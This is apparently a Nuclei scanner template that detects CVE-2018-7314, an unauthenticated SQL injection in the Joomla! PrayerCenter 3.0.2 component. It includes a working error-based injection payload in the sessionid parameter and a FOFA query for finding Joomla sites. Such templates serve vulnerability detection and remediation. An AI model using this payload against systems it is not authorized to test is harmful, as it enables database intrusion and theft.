id: CVE-2018-7314

info:
  name: Joomla! Component PrayerCenter 3.0.2 - SQL Injection
  author: DhiyaneshDK
  severity: critical
  description: |
    SQL Injection exists in the PrayerCenter 3.0.2 component for Joomla! via the sessionid parameter, a different vulnerability than CVE-2008-6429.
  impact: |
    Unauthenticated attackers can execute arbitrary SQL commands to access, modify, or delete database contents, potentially compromising the entire Joomla installation.
  remediation: |
    Remove the vulnerable PrayerCenter component or upgrade to a patched version.
  reference:
    - https://www.exploit-db.com/exploits/44160
    - https://github.com/jweny/pocassistdb
    - https://github.com/0ps/pocassistdb
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2018-7314
    cwe-id: CWE-89
    epss-score: 0.90805
    epss-percentile: 0.99641
    cpe: cpe:2.3:a:mlwebtechnologies:prayercenter:3.0.2:*:*:*:*:joomla\!:*:*
  metadata:
    max-request: 1
    vendor: mlwebtechnologies
    product: prayercenter
    framework: joomla\!
    fofa-query:
      - app="Joomla!-网站安装"
      - app="joomla!-网站安装"
  tags: cve,cve2018,joomla,sqli,mlwebtechnologies,vkev,vuln
variables:
  num: "{{rand_int(800000000, 1000000000)}}"

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_prayercenter&task=confirm&id=1&sessionid=1' AND EXTRACTVALUE(22,CONCAT(0x7e,md5({{num}})))-- X"

    matchers:
      - type: word
        part: body
        words:
          - "{{md5(num)}}"
# digest: 490a0046304402201643fe90db1b5028a1fc73cc7a3bbc45d57d2d1ab6ea56c038a40386c5aa2564022066f54460a74410a26d430c74cbb30f60b8d7d23eb0e47a623992ef47d4a1af08:922c64590222798bb761d5b6d8e72950